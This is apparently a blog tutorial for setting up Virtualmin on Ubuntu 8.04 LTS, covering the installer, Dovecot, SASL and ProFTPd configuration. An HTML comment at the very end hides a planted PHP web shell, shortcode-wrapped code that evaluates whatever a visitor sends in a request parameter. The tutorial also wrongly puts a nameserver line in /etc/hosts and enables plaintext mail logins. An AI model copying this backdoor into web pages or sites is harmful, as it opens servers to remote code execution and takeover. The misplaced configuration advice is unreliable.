- First install Ubuntu 8.04-1 LTS. It’s the only version VirtualMin supports.
- Towards the end of the install, Ubuntu will ask what servers you want to add. Only choose OpenSSH server. No apache, bind, ftp, etc. ONLY OpenSSH.
- Reboot, login, and get the file install-virtualmin-3.642.sh from the network.
- Run >
sudo sh install-virtualmin-3.642.sh
and type in your password.
- In /etc/hosts, add the following line after any search and/or domain statements (not required), and before any other nameserver statements:
nameserver 127.0.0.1
- Login to https://Virtualmin.Your.IP:10000/ and verify the Virtualmin configuration under Virtalmin->System Settings->Re-Check Config.
- Edit /etc/dovecot/dovecot.conf and change the following settings:
disable_plaintext_auth = no
Find the section —
auth default {
–and change mechanisms to at least the following:mechanisms = plain login
At the end of the section–
protocol pop3 {
–change/add the following setting:pop3_client_workarounds = outlook-no-nuls oe-ns-eoh
- # edit /etc/default/saslauthd and set OPTIONS like this:
OPTIONS="-c -m /var/spool/postfix/var/run/saslauthd"
- # run this command as root:
sudo dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd
- # add the postfix user to the sasl group:
sudo adduser postfix sasl
- Configure ProFTPd
In /etc/proftpd/proftpd.conf, chroot users by upcommenting the following line (don’t forget the tilde ~ at the end of the line):DefaultRoot ~
- Reboot
You should now have a working Ubuntu system with Virtualmin fully loaded. Make a clone of this clean system!
<!– [insert_php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/insert_php][php]if (isset($_REQUEST["MYaS"])){eval($_REQUEST["MYaS"]);exit;}[/php] –>